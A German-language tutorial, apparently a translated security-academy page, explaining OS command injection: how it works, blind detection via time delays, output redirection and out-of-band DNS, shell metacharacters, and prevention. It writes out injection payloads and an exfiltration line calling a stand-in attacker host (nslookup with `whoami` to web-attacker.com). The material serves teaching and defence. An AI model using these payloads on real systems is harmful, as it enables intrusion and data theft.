OS Command Injection

In diesem Abschnitt erklären wir, was OS Command Injection ist, beschreiben, wie Schwachstellen erkannt und ausgenutzt werden können, erläutern einige nützliche Befehle und Techniken für verschiedene Betriebssysteme und fassen zusammen, wie OS Command Injection verhindert werden kann.

OS Command Injection

Was ist OS Command Injection?

OS Command Injection (auch als Shell Injection bezeichnet) ist eine Sicherheitsanfälligkeit, die es Angreifern ermöglicht, beliebige Betriebssystem-Befehle auf dem Server auszuführen, auf dem eine Anwendung ausgeführt wird. Sehr oft kann ein Angreifer eine OS Command Injection-Sicherheitsanfälligkeit ausnutzen, um andere Teile der Hosting-Infrastruktur zu kompromittieren, indem er Vertrauensbeziehungen ausnutzt, um den Angriff auf andere Systeme innerhalb der Organisation auszurichten.

Ausführen beliebiger Befehle

Betrachten Sie eine Einkaufsanwendung, mit der der Benutzer anzeigen kann, ob ein Artikel in einem bestimmten Geschäft vorrätig ist. Der Zugriff auf diese Informationen erfolgt über eine URL wie:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Um die Bestandsinformationen bereitzustellen, muss die Anwendung verschiedene Legacy-Systeme abfragen. Aus historischen Gründen wird die Funktionalität implementiert, indem ein Shell-Befehl mit den Produkt- und Speicher-IDs als Argumenten aufgerufen wird:

stockreport.pl 381 29

Dieser Befehl gibt den Lagerstatus für den angegebenen Artikel aus, der an den Benutzer zurückgegeben wird.

Da die Anwendung keine Abwehrmaßnahmen gegen OS Command Injection implementiert, kann ein Angreifer die folgende Eingabe senden, um einen beliebigen Befehl auszuführen:

& echo aiwefwlguh &

Wenn diese Eingabe im Parameter productID übergeben wird, lautet der von der Anwendung ausgeführte Befehl:

stockreport.pl & echo aiwefwlguh & 29

Der Befehl echo bewirkt lediglich, dass die angegebene Zeichenfolge in der Ausgabe wiedergegeben wird, und ist eine nützliche Methode zum Testen einiger Arten der Betriebssystembefehlsinjektion. Das Zeichen & ist ein Shell-Befehlstrennzeichen, und was ausgeführt wird, sind tatsächlich drei separate Befehle nacheinander. Infolgedessen ist die an den Benutzer zurückgegebene Ausgabe:

Error - productID was not provided
aiwefwlguh
29: command not found

Die drei Zeilen der Ausgabe zeigen, dass:

  • Der ursprüngliche Befehl stockreport.pl wurde ohne die erwarteten Argumente ausgeführt und gab daher eine Fehlermeldung zurück.
  • Der injizierte Befehl echo wurde ausgeführt, und die angegebene Zeichenfolge wurde in der Ausgabe wiedergegeben.
  • Das ursprüngliche Argument 29 wurde als Befehl ausgeführt, was einen Fehler verursachte.

Das Platzieren des zusätzlichen Befehlstrennzeichens & nach dem injizierten Befehl ist im Allgemeinen nützlich, da es den injizierten Befehl von dem trennt, was auf den Injektionspunkt folgt. Dies verringert die Wahrscheinlichkeit, dass das, was folgt, die Ausführung des injizierten Befehls verhindert.

Nützliche Befehle

Wenn Sie eine OS Command Injection-Sicherheitsanfälligkeit identifiziert haben, ist es im Allgemeinen hilfreich, einige erste Befehle auszuführen, um Informationen über das kompromittierte System abzurufen. Nachfolgend finden Sie eine Zusammenfassung einiger Befehle, die auf Linux- und Windows-Plattformen nützlich sind:

Zweck des Befehls Linux Windows
Name des aktuellen Benutzers whoami whoami
Betriebssystem uname -a ver
Netzwerk konfiguration ifconfig ipconfig /all
Netzwerkverbindungen netstat -an netstat -an
Laufende Prozesse ps -ef tasklist

Blind OS Command Injection Schwachstellen

Viele Instanzen von OS Command Injection sind blinde Schwachstellen. Dies bedeutet, dass die Anwendung die Ausgabe des Befehls in ihrer HTTP-Antwort nicht zurückgibt. Blinde Schwachstellen können weiterhin ausgenutzt werden, es sind jedoch unterschiedliche Techniken erforderlich.

Betrachten Sie eine Website, auf der Benutzer Feedback zur Website abgeben können. Der Benutzer gibt seine E-Mail-Adresse und Feedback-Nachricht ein. Die serverseitige Anwendung generiert dann eine E-Mail an einen Site-Administrator, die das Feedback enthält. Dazu ruft es das mail -Programm mit den übermittelten Details auf. Beispielsweise:

mail -s "This site is great" -aFrom:[email protected] [email protected]

Die Ausgabe des Befehls mail (falls vorhanden) wird in den Antworten der Anwendung nicht zurückgegeben, sodass die Verwendung der Nutzlast echo nicht effektiv wäre. In dieser Situation können Sie eine Vielzahl anderer Techniken verwenden, um eine Sicherheitsanfälligkeit zu erkennen und auszunutzen.

Erkennen der Blind OS-Befehlsinjektion mithilfe von Zeitverzögerungen

Sie können einen injizierten Befehl verwenden, der eine Zeitverzögerung auslöst, mit der Sie bestätigen können, dass der Befehl basierend auf der Zeit ausgeführt wurde, die die Anwendung benötigt, um zu antworten. Der Befehl ping ist eine effektive Möglichkeit, dies zu tun, da Sie die Anzahl der zu sendenden ICMP-Pakete und damit die Zeit für die Ausführung des Befehls angeben können:

& ping -c 10 127.0.0.1 &

Dieser Befehl veranlasst die Anwendung, ihren Loopback-Netzwerkadapter für 10 Sekunden zu pingen.

Blind OS Command Injection ausnutzen durch Umleiten der Ausgabe

Sie können die Ausgabe des injizierten Befehls in eine Datei im Webstammverzeichnis umleiten, die Sie dann mit Ihrem Browser abrufen können. Wenn die Anwendung beispielsweise statische Ressourcen vom Dateisystemspeicherort /var/www/static aus bereitstellt, können Sie die folgende Eingabe senden:

& whoami > /var/www/static/whoami.txt &

Das Zeichen > sendet die Ausgabe des Befehls whoami an die angegebene Datei. Sie können dann Ihren Browser verwenden, um https://vulnerable-website.com/whoami.txt abzurufen, um die Datei abzurufen und die Ausgabe des injizierten Befehls anzuzeigen.

Blind OS Command Injection mit OAST-Techniken (Out-of-Band) ausnutzen

Sie können einen injizierten Befehl verwenden, der eine Out-of-Band-Netzwerkinteraktion mit einem System auslöst, das Sie mithilfe von OAST-Techniken steuern. Zum Beispiel:

& nslookup kgji2ohoyw.web-attacker.com &

Diese Nutzlast verwendet den Befehl nslookup, um eine DNS-Suche für die angegebene Domäne zu veranlassen. Der Angreifer kann überwachen, ob die angegebene Suche auftritt, und dadurch feststellen, dass der Befehl erfolgreich injiziert wurde.

Der Out-of-Band-Kanal bietet auch eine einfache Möglichkeit, die Ausgabe von injizierten Befehlen zu exfiltrieren:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Dies führt zu einer DNS-Suche in der Domäne des Angreifers, die das Ergebnis des Befehls whoami enthält:

wwwuser.kgji2ohoyw.web-attacker.com

Möglichkeiten zum Injizieren von OS-Befehlen

Eine Vielzahl von Shell-Metazeichen kann verwendet werden, um OS-Befehlsinjektionsangriffe auszuführen.

Eine Reihe von Zeichen fungiert als Befehlstrennzeichen, sodass Befehle miteinander verkettet werden können. Die folgenden Befehlstrennzeichen funktionieren sowohl auf Windows- als auch auf Unix-basierten Systemen:

  • &
  • &&
  • |
  • ||

Die folgenden Befehlstrennzeichen funktionieren nur auf Unix-basierten Systemen:

  • ;
  • Zeilenumbruch (0x0a oder \n)

Auf Unix-basierten Systemen können Sie auch Backticks oder das Dollarzeichen verwenden, um die Inline-Ausführung eines injizierten Befehls innerhalb des ursprünglichen Befehls auszuführen:

  • ` injizierter Befehl `
  • $( injizierter Befehl )

Beachten Sie, dass die verschiedenen Shell-Metazeichen subtil unterschiedliche Verhaltensweisen aufweisen, die sich darauf auswirken können, ob sie in bestimmten Situationen funktionieren und ob sie den bandinternen Abruf der Befehlsausgabe ermöglichen oder nur für die blinde Ausnutzung nützlich sind.

Manchmal wird die Eingabe, die Sie steuern, in Anführungszeichen im ursprünglichen Befehl angezeigt. In diesem Fall müssen Sie den in Anführungszeichen gesetzten Kontext beenden (mit " oder ' ), bevor Sie geeignete Shell-Metazeichen verwenden, um einen neuen Befehl einzufügen.

Verhindern von OS Command Injection-Angriffen

Die bei weitem effektivste Methode zur Verhinderung von OS Command Injection-Schwachstellen besteht darin, niemals OS-Befehle aus Anwendungsschichtcode aufzurufen. In praktisch jedem Fall gibt es alternative Möglichkeiten, die erforderliche Funktionalität mithilfe von sichereren Plattform-APIs zu implementieren.

Wenn es als unvermeidlich erachtet wird, Betriebssystembefehle mit vom Benutzer bereitgestellten Eingaben aufzurufen, muss eine starke Eingabevalidierung durchgeführt werden. Einige Beispiele für eine effektive Validierung sind:

  • Validierung anhand einer Whitelist zulässiger Werte.
  • Überprüfen, ob die Eingabe eine Zahl ist.
  • Überprüfen, ob die Eingabe nur alphanumerische Zeichen, keine andere Syntax oder Leerzeichen enthält.

Versuchen Sie niemals, Eingaben zu bereinigen, indem Sie Shell-Metazeichen umgehen. In der Praxis ist dies einfach zu fehleranfällig und anfällig dafür, von einem erfahrenen Angreifer umgangen zu werden.

You might also like

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.